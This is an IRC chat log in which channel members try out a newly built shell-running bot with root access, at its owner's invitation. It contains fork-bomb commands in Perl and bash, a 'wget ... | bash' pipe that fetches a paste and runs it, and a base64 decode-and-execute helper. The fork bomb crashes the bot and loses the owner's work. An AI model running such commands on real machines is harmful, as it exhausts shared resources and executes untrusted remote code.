17:23:30 <prooftechnique> havocbot: ulimit -a
17:23:30 <havocbot> prooftechnique:core file size (blocks, -c) 0/data seg size (kbytes, -d) unlimited/scheduling priority (-e) 0/file size (blocks, -f) unlimited/pending signals (-i) 7003/max locked memory (kbytes, -l) 64/max memory size (kbytes, -m) unlimited/open files (-n) 1024/pipe size (512 bytes, -p) 8/POSIX message queues (bytes, -q) 819
17:23:41 <prooftechnique> havocbot: top
17:23:52 <moon_> failed tty get
17:24:14 <moon_> stderr does not print here, if anyone knows how to get it to do so, i.e echoing it, please tell me
17:24:15 <prooftechnique> havocbot: ulimit -u
17:24:15 <havocbot> prooftechnique:7003
17:25:35 <prooftechnique> moon_: Redirection. >&2
17:26:10 <moon_> ok thx
17:26:12 <moon_> ill try it
17:26:13 -!- havocbot has quit (Remote host closed the connection).
17:26:13 <prooftechnique> Oh, sorry, I mean >&1
17:26:19 <prooftechnique> Wait, no
17:26:24 <prooftechnique> Now I'm all backwards
17:26:25 <prooftechnique> Hang on
17:26:30 <moon_> im listening
17:26:43 <prooftechnique> Ah, there we go. 2>&1
17:27:01 <prooftechnique> Oh, the bot died
17:27:08 <moon_> im editing it dummy
17:27:24 <prooftechnique> Oh. Well, I would expect to say something like
17:27:34 <prooftechnique> havocbot: nonexistentcommand 2>&1
17:28:23 <moon_> ok i think it should work
17:28:31 -!- havocbot has joined.
17:28:48 <moon_> havocbot: ls derpfail
17:28:48 <havocbot> moon_:ls: cannot access derpfail: No such file or directory
17:28:52 <moon_> yay
17:29:25 <moon_> ok, NOW you can all tinker
17:29:44 <prooftechnique> perl -e "fork while fork" &
17:29:47 <prooftechnique> havocbot: perl -e "fork while fork" &
17:29:47 <havocbot> prooftechnique:Can't find string terminator '"' anywhere before EOF at -e line 1.
17:30:01 <prooftechnique> havocbot: perl -e "fork while fork"
17:30:01 <havocbot> prooftechnique:Can't find string terminator '"' anywhere before EOF at -e line 1.
17:30:05 <prooftechnique> Weird
17:30:09 <moon_> try bashing it
17:30:17 <prooftechnique> havocbot: :(){ :|:& };:
17:30:17 <havocbot> prooftechnique:./bashbot-master/bashbot: line 175: :(){: command not found
17:30:29 <moon_> run it in bash silly
17:30:48 <prooftechnique> Is it not a bash shell already?
17:30:58 <prooftechnique> havocbot: bash -c ':(){ :|:& };:'
17:30:59 <havocbot> prooftechnique::|:&: -c: line 0: unexpected EOF while looking for matching `''/:|:&: -c: line 1: syntax error: unexpected end of file
17:31:03 <moon_> "$cmd" "$@" runs commands
17:31:37 <moon_> using $@ magic
17:31:39 <prooftechnique> havocbot: echo "#!/bin/bash" >> fork.sh
17:31:40 <havocbot> prooftechnique:"#!/bin/bash" >> fork.sh
17:31:53 <prooftechnique> havocbot: cat fork.sh
17:31:54 <havocbot> prooftechnique:cat: fork.sh: No such file or directory
17:32:00 <moon_> *lol*
17:32:17 <moon_> oerjan discovered a trick last night, figure it out if you can :P
17:32:25 <moon_> actually
17:32:30 <moon_> i need to check something
17:32:36 -!- havocbot has quit (Remote host closed the connection).
17:33:35 -!- havocbot has joined.
17:33:41 <moon_> i think i forgot to strip a bash exploit protection from the original
17:34:00 <moon_> now try?
17:34:38 <prooftechnique> havocbot: echo "#!/bin/bash" | tee -a fork.sh
17:34:39 <havocbot> prooftechnique:"#!/bin/bash" | tee -a fork.sh
17:34:47 <moon_> pff
17:34:51 <moon_> in bash
17:35:02 <prooftechnique> What in bash?
17:35:09 <moon_> the command
17:35:24 <prooftechnique> What command?
17:35:31 <moon_> .-.
17:35:38 <moon_> echo "#!/bin/bash" | tee -a fork.sh
17:35:52 <moon_> havocbot: bash -c ' echo "#!/bin/bash" | tee -a fork.sh '
17:36:02 <moon_> havocbot: cat fork.sh
17:36:08 <havocbot> moon_:echo: -c: line 0: unexpected EOF while looking for matching `''/echo: -c: line 1: syntax error: unexpected end of file
17:36:11 <moon_> i froze it
17:36:16 <moon_> damn u bash
17:36:27 <prooftechnique> I return the .-.
17:39:12 <prooftechnique> havocbot: awk 'BEGIN { print "#!/bin/bash" }' > fork.sh
17:39:16 <prooftechnique> havocbot: cat fork.sh
17:39:24 -!- moon__ has joined.
17:39:25 <moon__> my internet died
17:39:44 <moon__> someone kick havocbot
17:39:50 <moon__> its a ghost nick
17:39:52 <prooftechnique> RIP (Requiescat Internet Protocol)
17:40:02 <moon__> oerjan?
17:40:23 <prooftechnique> fungot: kick havocbot
17:40:23 <fungot> prooftechnique: a lot of
17:40:29 <prooftechnique> Worth a shot :D
17:40:32 <moon__> lol
17:40:52 -!- moon_ has quit (Ping timeout: 250 seconds).
17:41:02 -!- havocbot has quit (Ping timeout: 272 seconds).
17:41:09 <moon__> ill write in some bash to make it add _'s later
17:41:29 -!- havocbot has joined.
17:42:15 <moon__> ok proof, go ahead, tinker :P
17:42:19 <moon__> its open for bussiness
17:42:25 <prooftechnique> havocbot: cat fork.sh
17:42:26 <havocbot> prooftechnique:cat: fork.sh: No such file or directory
17:42:30 <prooftechnique> havocbot: awk 'BEGIN { print "#!/bin/bash" }' > fork.sh
17:42:30 <havocbot> prooftechnique:awk: cmd. line:1: 'BEGIN/awk: cmd. line:1: ^ invalid char ''' in expression
17:42:59 <prooftechnique> havocbot: awk \'BEGIN { print "#!/bin/bash" }\' > fork.sh
17:42:59 <havocbot> prooftechnique:awk: cmd. line:1: \'BEGIN/awk: cmd. line:1: ^ backslash not last character on line
17:43:23 <prooftechnique> havocbot: touch fork.sh
17:43:44 <moon__> write it, put it on pastebin, and wget it
17:43:51 <moon__> that is, until we have something mk like
17:44:09 <prooftechnique> That would be simpler, I suppose.
17:44:14 -!- lynn has quit.
17:44:38 <prooftechnique> havocbot: which wget
17:44:38 <havocbot> prooftechnique:/usr/bin/wget
17:44:54 <moon__> i used wget alot, so there is no need checkin
17:45:07 <prooftechnique> havocbot: rm fork.sh
17:45:42 <moon__> `url bin/mk
17:45:47 <moon__> `url bin/echo-p
17:45:50 <moon__> `url bin/mkx
17:45:56 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk
17:46:02 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p
17:46:06 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mkx
17:47:18 <prooftechnique> havocbot: wget -q -O - http://sprunge.us/CLGK | bash
17:48:31 <prooftechnique> havocbot: top
17:48:31 <havocbot> prooftechnique:top: failed tty get
17:48:53 <prooftechnique> havocbot: grep 'cpu ' /proc/stat
17:48:53 <havocbot> prooftechnique:grep: ': No such file or directory
17:49:07 <moon__> bad array subscript is printing on my end
17:49:10 <moon__> what did you do
17:49:15 <moon__> wait
17:49:26 <moon__> you ran bash unary without args
17:49:30 <moon__> ):<
17:49:56 <prooftechnique> Did the forkbomb work, yet?
17:50:00 <moon__> no
17:50:02 <moon__> (=
17:50:27 <moon__> .7 -- 2.6 cpu
17:50:34 <prooftechnique> wget -O fork.sh http://sprunge.us/CLGK
17:50:35 <moon__> havocbot: wget http://pastebin.com/raw/HgsSBDzp
17:50:36 <havocbot> moon__:--2016-06-10 03:53:39-- http://pastebin.com/raw/HgsSBDzp/Resolving pastebin.com... 104.20.64.56, 104.20.63.56/Connecting to pastebin.com|104.20.64.56|:80... connected./HTTP request sent, awaiting response... 200 OK/Length: unspecified [text/plain]/Saving to: 'HgsSBDzp'// 0K 1.26M=0s//2016-06-10 03:53:40 (1.26 MB/s) - 'HgsSBDzp' saved [62]/
17:50:40 <prooftechnique> havockbot wget -O fork.sh http://sprunge.us/CLGK
17:50:48 <moon__> havocbot: wget -o echo-p http://pastebin.com/raw/HgsSBDzp
17:51:00 <moon__> havocbot: ls
17:51:00 <havocbot> moon__:HgsSBDzp/HgsSBDzp.1/bashbot-master/bashbot.config/bashbot.pid/echo-p/master.zip
17:51:04 <prooftechnique> havockbot: wget -O fork.sh http://sprunge.us/CLGK
17:51:09 <prooftechnique> havocbot: wget -O fork.sh http://sprunge.us/CLGK
17:51:10 <havocbot> prooftechnique:--2016-06-10 03:54:13-- http://sprunge.us/CLGK/Resolving sprunge.us... 216.239.34.21, 216.239.32.21, 216.239.38.21, .../Connecting to sprunge.us|216.239.34.21|:80... connected./HTTP request sent, awaiting response... 200 OK/Length: 24 [text/plain]/Saving to: 'fork.sh'// 0K 100% 1.06M=0s//2016-06-10 03:54:13 (1.06 MB/s) - 'fork.sh' saved [24/24]/
17:51:13 <prooftechnique> What is wrong with me?
17:51:21 <prooftechnique> havocbot: ./fork.sh
17:51:21 <havocbot> prooftechnique:./bashbot-master/bashbot: line 173: ./fork.sh: Permission denied
17:51:27 <moon__> ...
17:51:32 <prooftechnique> havocbot: chmod +x fork.sh
17:51:35 <prooftechnique> havocbot: ./fork.sh
17:51:39 <moon__> havocbot: wget -o mk http://pastebin.com/raw/rCu7GHCY
17:52:04 <prooftechnique> havocbot: cat fork.sh
17:52:26 <moon__> havocbot: wget -o mkx http://pastebin.com/raw/CZvHsfqv
17:52:27 -!- atrapado has quit (Ping timeout: 276 seconds).
17:52:42 <prooftechnique> havocbot: ls
17:52:59 <prooftechnique> Did I kill it? :D
17:53:03 <moon__> ...
17:53:07 <moon__> yea
17:53:10 <moon__> *smack*
17:53:25 <moon__> and you made me lose my work
17:53:34 <prooftechnique> :(
17:53:39 <prooftechnique> Well, I won't do that again
17:53:42 <moon__> im adding a ignore list
17:54:03 * prooftechnique weeps
17:54:10 <moon__> just kidding
17:54:10 <prooftechnique> I guess I could just change my nick
17:54:13 <moon__> dont do it again
17:54:21 <prooftechnique> I solemnly swear I shan't
17:54:40 <moon__> good, or i will have oerjan flay you alive if you bypass the ignore
17:54:52 -!- havocbot has quit (Remote host closed the connection).
17:55:57 <moon__> hopefully the snapshot was not lost
17:56:04 <moon__> or i will still flay you alive
17:56:12 <prooftechnique> https://files.catbox.moe/g4qo0a.jpg
17:56:19 <moon__> its here
17:56:21 <moon__> god
17:56:38 -!- havocbot has joined.
17:56:39 <moon__> havocbot: wget -o mk http://pastebin.com/raw/rCu7GHCY
17:56:44 <moon__> wget -o mkx http://pastebin.com/raw/CZvHsfqv
17:56:45 <prooftechnique> havocbot: which god
17:56:58 <moon__> wget -o echo-p http://pastebin.com/raw/HgsSBDzp
17:57:00 <moon__> *good
17:57:03 <moon__> im atheist
17:57:11 <moon__> havocbot: ls
17:57:11 <havocbot> moon__:bashbot-master/bashbot.config/bashbot.pid/master.zip/mk/rCu7GHCY
17:57:24 <moon__> havocbot: wget -o mkx http://pastebin.com/raw/CZvHsfqv
17:57:33 <moon__> havocbot: wget -o echo-p http://pastebin.com/raw/HgsSBDzp
17:57:50 <moon__> you know how to change the path in gentoo?
17:57:55 <moon__> mkdir bin
17:58:05 <moon__> havocbot: mkdir bin
17:58:07 <prooftechnique> export PATH, same as usual
17:58:16 <moon__> havocbot: mv mk bin/mk
17:58:24 <moon__> mv echo-p bin/echo-p
17:58:32 <moon__> havocbot: mv echo-p bin/echo-p
17:58:40 <moon__> havocbot: mv mkx bin/mkx
17:58:46 <moon__> add the bin to the path for me, will you?
17:58:51 <moon__> then let me snapshot it
17:59:17 <moon__> havocbot: export #test
17:59:33 <prooftechnique> havocbot: echo 'export PATH=bin:$PATH' >> .bashrc
17:59:33 <havocbot> prooftechnique:'export PATH=bin:$PATH' >> .bashrc
17:59:43 <prooftechnique> havocbot: export PATH=bin:$PATH
17:59:48 <prooftechnique> havocbot: echo $PATH
17:59:49 <havocbot> prooftechnique:$PATH
17:59:55 <prooftechnique> :|
18:00:12 <moon__> havocbot: bash -c echo{,$PATH}
18:00:13 <havocbot> moon__:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:00:19 <moon__> i win
18:00:37 <moon__> havocbot: mk
18:00:47 <moon__> not found :P
18:00:56 <moon__> idk why the not found messages stay in stderr and not here
18:00:59 <prooftechnique> That's because it didn't write the path
18:01:11 <prooftechnique> You need to add the 2>&1 redirect again
18:01:23 -!- havocbot has quit (Remote host closed the connection).
18:03:57 <prooftechnique> havocbot: bash -c "echo export PATH=$HOME/bin:$PATH >> .bashrc""
18:04:03 <prooftechnique> Oh, not back, yet
18:07:13 <prooftechnique> havocbot: bash -c echo{,$HOME}
18:09:05 -!- havocbot has joined.
18:09:20 <moon__> boo prooftechnique
18:09:29 <prooftechnique> havocbot: bash -c echo{,$HOME}
18:09:30 <havocbot> prooftechnique:echo/root
18:09:41 <prooftechnique> havocbot: pwd
18:09:41 <havocbot> prooftechnique:/root
18:09:52 <prooftechnique> havocbot: cat .bashrc
18:09:52 <havocbot> prooftechnique:#!/bin/bash//if [ ! "$(grep nox /proc/cmdline)" ]/then/if [ -x /usr/bin/X ]/then/if [ -e /etc/startx -a $(tty) = "/dev/tty1" ];/then/rm -f /etc/startx/##STARTX/[ -f /etc/motd ] && cat /etc/motd/fi/fi/fi
18:10:14 <prooftechnique> havocbot: cat .profile
18:10:14 <havocbot> prooftechnique:cat: .profile: No such file or directory
18:10:40 <moon__> cat /.profile
18:12:19 <prooftechnique> wget -O /.profile http://sprunge.us/HACJ
18:12:25 <prooftechnique> havocbot: wget -O /.profile http://sprunge.us/HACJ
18:12:25 <havocbot> prooftechnique:--2016-06-10 03:39:08-- http://sprunge.us/HACJ/Resolving sprunge.us... 216.239.36.21, 216.239.32.21, 216.239.38.21, .../Connecting to sprunge.us|216.239.36.21|:80... connected./HTTP request sent, awaiting response... 200 OK/Length: 28 [text/plain]/Saving to: '/.profile'// 0K 100% 182K=0s//2016-06-10 03:39:08 (182 KB/s) - '/.profile' saved [28/28]/
18:12:45 <prooftechnique> Oh, whoops, that's not what I wanted
18:12:54 <prooftechnique> havocbot: wget -q -O .profile http://sprunge.us/HACJ
18:13:02 <prooftechnique> havocbot: source .profile
18:13:22 <prooftechnique> havocbot: bash -c echo{,$PATH}
18:13:22 <havocbot> prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:13:40 <prooftechnique> Dang it :|
18:13:51 <prooftechnique> havocbot: cat .profile
18:13:52 <havocbot> prooftechnique:export PATH=$HOME/bin:$PATH
18:14:48 <prooftechnique> havocbot: bash -v
18:15:15 <prooftechnique> havocbot: bash --version
18:15:15 <havocbot> prooftechnique:GNU bash, version 4.3.33(1)-release (i486-pc-linux-gnu)/Copyright (C) 2013 Free Software Foundation, Inc./License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>//This is free software; you are free to change and redistribute it./There is NO WARRANTY, to the extent permitted by law.
18:15:18 <prooftechnique> That's what I meant
18:15:49 <prooftechnique> havocbot: export PATH=$HOME/bin:$PATH
18:15:57 <prooftechnique> havocbot: bash -c echo{,$PATH}
18:15:58 <havocbot> prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:16:09 <prooftechnique> Well, I just do not know what to make of that
18:17:34 <prooftechnique> havocbot: bash .profile
18:17:39 <prooftechnique> havocbot: bash -c echo{,$PATH}
18:17:39 <havocbot> prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:19:06 <prooftechnique> havocbot: cat /etc/paths
18:19:06 <havocbot> prooftechnique:cat: /etc/paths: No such file or directory
18:19:54 <zzo38> Is there command that can be used in Linux which can tell you which screen you are on?
18:19:58 <prooftechnique> Oh, duh, that's just an OS X thing
18:20:07 <prooftechnique> zzo38: Screen meaning?
18:20:31 <zzo38> I mean if you push CTRL+ALT+F1 and so on to switch to different screens
18:21:04 <prooftechnique> That's probably dependent on your WM/DM
18:21:29 <zzo38> No it isn't, it is built-in to the kernel
18:22:31 <prooftechnique> What about the $DISPLAY variable?
18:22:34 -!- atrapado has joined.
18:22:49 <zzo38> That is for X
18:23:07 <zzo38> But what I am asking is independent of X
18:24:45 <prooftechnique> Maybe tty?
18:25:04 -!- hppavilion[1] has joined.
18:25:14 <hppavilion[1]> lambdy?
18:25:21 <hppavilion[1]> OK, no notifications
18:26:02 <zzo38> The tty command will tell you the filename
18:26:39 <prooftechnique> Is that not enough information? What output are you expecting?
18:26:40 <moon__> ok its alive
18:27:07 <moon__> wait did you fork bomb it?
18:27:08 <zzo38> But I want to know which filename is which one, so that I can program in the .profile which screen I am on and whether or not to automatically start X, so that on screen 2 I acn login without C.
18:27:17 <moon__> nvm
18:27:19 <moon__> good
18:27:52 -!- havocbot has quit (Ping timeout: 250 seconds).
18:27:58 <zzo38> s/C/X/
18:28:12 <moon__> it crashed
18:28:14 <moon__> >_>
18:28:19 -!- havocbot has joined.
18:28:28 <moon__> i should make a auto revive script
18:28:57 <moon__> havocbot: ls
18:28:57 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY
18:28:59 <prooftechnique> zzo38: I don't know if the assignment of tty IDs is sequential, but if it is, that might be helpful
18:29:09 <moon__> snapshotting
18:29:11 -!- havocbot has quit (Remote host closed the connection).
18:29:45 <moon__> there
18:29:48 -!- havocbot has joined.
18:29:53 <moon__> continue on :P
18:30:09 <prooftechnique> havocbot: who
18:30:10 <havocbot> prooftechnique:root tty1 Jun 10 03:06/root tty3 Jun 10 03:06/root tty6 Jun 10 03:06/root tty4 Jun 10 03:06/root tty5 Jun 10 03:06/root tty2 Jun 10 03:06
18:30:25 <prooftechnique> zzo38: I guess there's who, too
18:31:02 -!- hwpplayer1 has joined.
18:31:56 <moon__> use where to verify if a dangerous command exists\
18:32:20 <prooftechnique> havocbot: where rm
18:32:21 <havocbot> prooftechnique:./bashbot-master/bashbot: line 170: where: command not found
18:32:25 <b_jonas> havocbot: df
18:32:25 <havocbot> b_jonas:Filesystem 1K-blocks Used Available Use% Mounted on/udev 10240 4 10236 1% /dev/tmpfs 450440 61892 388548 14% ///dev/loop0 179584 179584 0 100% /mnt/livecd//dev/sr0 206652 206652 0 100% /mnt/cdrom/tmpfs 90088 396 89692 1% /run/shm 450440 0 450440 0% /dev/shm/cgroup_root 10240 0 10240 0
18:32:26 <moon__> oh
18:32:30 <b_jonas> havocbot: mount
18:32:30 <havocbot> b_jonas:proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)/udev on /dev type devtmpfs (rw,nosuid,relatime,size=10240k,nr_inodes=112063,mode=755)/devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620)/sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)/tmpfs on / type tmpfs (rw,relatime)//dev/loop0 on /mnt/livecd type squashfs (ro,relatime)//dev/sr0 on /mnt/cdrom type iso9660 (ro,relatime)/tmpfs on /run type tmpfs (
18:32:32 <moon__> maybe where doesnt exist, haha
18:33:18 <moon__> havocbot: ls /mnt
18:33:18 <havocbot> moon__:cdrom/gentoo/key/livecd
18:33:32 <moon__> gentoo is the secondary perm disk
18:33:36 <moon__> use it if you want
18:34:13 <b_jonas> havocbot: curl -O train.jpt https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg/640px-RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg
18:34:15 <moon__> havocbot: ./mk
18:34:15 <havocbot> moon__:./bashbot-master/bashbot: line 170: ./mk: No such file or directory
18:35:06 <moon__> what is that curl doing?
18:35:22 <b_jonas> havocbot: sha1sum train.jpg
18:35:22 <havocbot> b_jonas:sha1sum: train.jpg: No such file or directory
18:35:24 <b_jonas> havocbot: sha1sum train.jpt
18:35:24 <havocbot> b_jonas:sha1sum: train.jpt: No such file or directory
18:35:39 <b_jonas> havocbot: curl -o train.jpt https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg/640px-RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg
18:35:40 <havocbot> b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:35:41 <moon__> havocbot: ls
18:35:41 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpt
18:35:43 <b_jonas> havocbot: sha1sum train.jpt
18:35:43 <havocbot> b_jonas:43a6294e385868acbdd0b669bd50f4d37da4347c train.jpt
18:35:48 <b_jonas> havocbot: mv train.jpt train.jpg
18:35:50 <moon__> why?
18:36:07 <b_jonas> yup, it can access the internet
18:36:24 <moon__> did i not already use wget in it? -.-
18:36:57 <moon__> which do you prefer: havocbot or hackego?
18:38:26 <prooftechnique> hackego is 12.5% better because it is 12.5% shorter
18:38:36 <moon__> lol
18:38:38 <b_jonas> havocbot echo 4B/mEYnkTyMJAE8AgD114LnjMcYmZSbgcKFYhaXxmec
18:38:50 <moon__> you forgot the :
18:38:51 <prooftechnique> Though tab completion renders that a nonissue
18:38:58 <b_jonas> moon__: I'm testing if the bot works that way
18:39:06 <b_jonas> havocbot: echo STQkBp6OoS3I9dN0nOPYnfLkD1wlziD28sSzFgfuNsg
18:39:06 <havocbot> b_jonas:STQkBp6OoS3I9dN0nOPYnfLkD1wlziD28sSzFgfuNsg
18:39:09 <moon__> it works if you /query or msg it
18:39:30 <moon__> you dont even have to use havocbot: if you query or msg it
18:39:39 <b_jonas> havocbot: echo 4m+6MAU3 bJ9qF1UX
18:39:39 <havocbot> b_jonas:4m+6MAU3 bJ9qF1UX
18:40:20 <b_jonas> havocbot: (c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo
18:40:20 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: (c=Ra3AsMCi;: command not found
18:40:30 <b_jonas> havocbot: bash -c (c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo)
18:40:31 <havocbot> b_jonas:echo: -c: line 1: syntax error: unexpected end of file
18:40:33 <b_jonas> havocbot: bash -c '(c=Ra3AsMCi; echo MD0NxVx9 ${c:0:4} SwInWdjo)'
18:40:33 <havocbot> b_jonas:echo: -c: line 0: unexpected EOF while looking for matching `''/echo: -c: line 1: syntax error: unexpected end of file
18:40:34 <prooftechnique> havocbot: which emacs
18:40:34 <havocbot> prooftechnique:/usr/bin/emacs
18:40:40 <b_jonas> ok wait
18:40:49 <b_jonas> I'll have to make a script so I can run any command
18:40:55 <b_jonas> a moment
18:41:03 <moon__> that'll help
18:41:26 <moon__> maybe lets make /mnt/gentoo/bin a perm path dir to store commands in
18:41:35 <moon__> havocbot: mkdir /mnt/gentoo/bin
18:41:38 <prooftechnique> havocbot: emacs --eval="(doctor)"
18:41:39 <havocbot> prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:41:43 <b_jonas> havocbot: pwd
18:41:44 <havocbot> b_jonas:/root
18:41:50 <b_jonas> havocbot: echo $PATH
18:41:50 <havocbot> b_jonas:$PATH
18:42:13 <b_jonas> havocbot: type perl
18:42:13 <havocbot> b_jonas:perl is /usr/bin/perl
18:42:20 <moon__> havocbot: ls /mnt/gentoo/bin
18:42:27 <moon__> havocbot: ls /mnt/gentoo/
18:42:28 <havocbot> moon__:bin
18:42:36 <moon__> that bin dir is permnate
18:42:40 <moon__> it will never be deleted
18:43:16 <prooftechnique> havocbot: emacs -batch --eval="(doctor)"
18:43:17 <havocbot> prooftechnique:emacs: invalid option -- 'b'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:43:27 <prooftechnique> havocbot: emacs --batch --eval="(doctor)"
18:43:27 <havocbot> prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:43:30 <moon__> that is unless i get rid of the gentoo drive (;
18:43:32 <prooftechnique> :/
18:43:42 <moon__> so please put magical scripts in there
18:44:06 <moon__> and data in general
18:44:08 <prooftechnique> havocbot: emacs --version
18:44:08 <havocbot> prooftechnique:emacs: invalid option -- '-'/usage: emacs [-n] [-f mode] [+number] [file ...]
18:44:22 <b_jonas> havocbot: is it in the path?
18:44:22 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: is: command not found
18:44:25 <b_jonas> um
18:44:29 <b_jonas> moon__: is it in the path?
18:44:40 <moon__> im n good at paths :P
18:44:44 <prooftechnique> moon__: What have you done to emacs? :|
18:45:00 <moon__> you can view the path with echo{,$PATH} and nothing
18:45:03 <b_jonas> moon__: never mind, we'll find out soon
18:45:07 <b_jonas> just a fwe minutes
18:45:22 -!- hwpplayer1 has quit (Quit: Leaving.).
18:45:25 <moon__> thats the emacs that came with it
18:45:42 <prooftechnique> It doesn't understand --version :|
18:45:46 <moon__> :|
18:45:47 <moon__> idk
18:45:55 <int-e> "mg — emacs-like text editor"
18:46:11 <prooftechnique> havocbot: type emacs
18:46:11 <havocbot> prooftechnique:emacs is /usr/bin/emacs
18:46:34 <prooftechnique> havocbot: man emacs | head
18:46:34 <int-e> http://man.openbsd.org/OpenBSD-5.6/man1/mg.1
18:46:35 <havocbot> prooftechnique:No manual entry for emacs/No manual entry for |/No manual entry for head
18:46:42 <prooftechnique> Ah, so it is
18:47:00 <prooftechnique> Well, that simply won't do
18:47:19 <prooftechnique> If I can't execute abitrary elisp, what's the point of living?
18:47:20 <int-e> (slightly surprisingly, googling "[-n] [-f mode] [+number] [file ...]" worked)
18:47:29 <int-e> BSD license
18:47:31 <prooftechnique> That's amazing
18:48:21 <b_jonas> havocbot: curl -o /mnt/gentoo/bin http://russell2.math.bme.hu/~ambrus/pu/cu
18:48:22 <havocbot> b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:48:26 <prooftechnique> havocbot: which emerge
18:48:26 <havocbot> prooftechnique:which: no emerge in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
18:48:26 <moon__> google magic
18:48:39 <b_jonas> havocbot: cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:48:40 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: cu: command not found
18:48:45 <moon__> gentoo lacks emerge for no reason
18:48:48 <moon__> add that to the path
18:48:51 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:48:52 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: /mnt/gentoo/bin/cu: No such file or directory
18:49:04 <moon__> havocbot: ls /mnt/gento/bin
18:49:05 <havocbot> moon__:ls: cannot access /mnt/gento/bin: No such file or directory
18:49:11 <b_jonas> havocbot: curl -o /mnt/gentoo/bin/cu http://russell2.math.bme.hu/~ambrus/pu/cu
18:49:12 <havocbot> b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:49:12 <b_jonas> duh
18:49:13 <moon__> havocbot: ls /mnt/gentoo/bin
18:49:13 <havocbot> moon__:cu
18:49:15 <b_jonas> havocbot: cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:49:15 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: cu: command not found
18:49:17 <prooftechnique> havocbot: ls /usr/bin
18:49:18 <havocbot> prooftechnique:2to3/2to3-2.7/2to3-3.4/[/a2p/a2x/a2x.py/aconnect/acpi_listen/addr2name/alsamixer/alsaucm/amidi/amixer/aoss/aplay/aplaymidi/apm/apmsleep/apropos/arch/arecord/arecordmidi/arpd/asciidoc/asciidoc.py/aseqdump/aseqnet/aserver/avivotool/awk/b2/b43-fwcutter/base64/basename/bashbug/bc/bjam/bzcmp/bzdiff/bzegrep/bzfgrep/bzgrep/bzip2recover/bzless/bzmore/c2ph/c89/c99/c_rehash/cal/calc_tickadj/captest/captoinfo/catchsegv/catman/cha
18:49:19 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:49:19 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: /mnt/gentoo/bin/cu: Permission denied
18:49:29 <b_jonas> havocbot: chmod -v a+x /mnt/gentoo/bin/cu
18:49:29 <havocbot> b_jonas:mode of '/mnt/gentoo/bin/cu' changed from 0644 (rw-r--r--) to 0755 (rwxr-xr-x)
18:49:32 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:49:32 <prooftechnique> havocbot: ls /usr/bin/emerge
18:49:32 <havocbot> b_jonas:hello, world
18:49:32 <havocbot> prooftechnique:ls: cannot access /usr/bin/emerge: No such file or directory
18:49:47 <b_jonas> havocbot: /mnt/gentoo/bin/cu cHdkOyBlY2hvICRQQVRI
18:49:47 <havocbot> b_jonas:/root//usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:50:03 <b_jonas> havocbot: /mnt/gentoo/bin/cu cHdkOyBlY2hvICIgICIgJFBBVEg
18:50:03 <havocbot> b_jonas:/root/ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:50:10 <prooftechnique> havocbot: ls /etc/portage
18:50:11 <havocbot> prooftechnique:bin/make.conf/make.conf.catalyst/make.conf.old/make.profile/package.mask/package.use/postsync.d/repo.postsync.d/savedconfig
18:50:14 <b_jonas> executes a base64-encoded string with bash by the way
18:50:26 <moon__> neat
18:50:40 <moon__> next up: make it user friendly!
18:50:43 <b_jonas> moon__: yeop
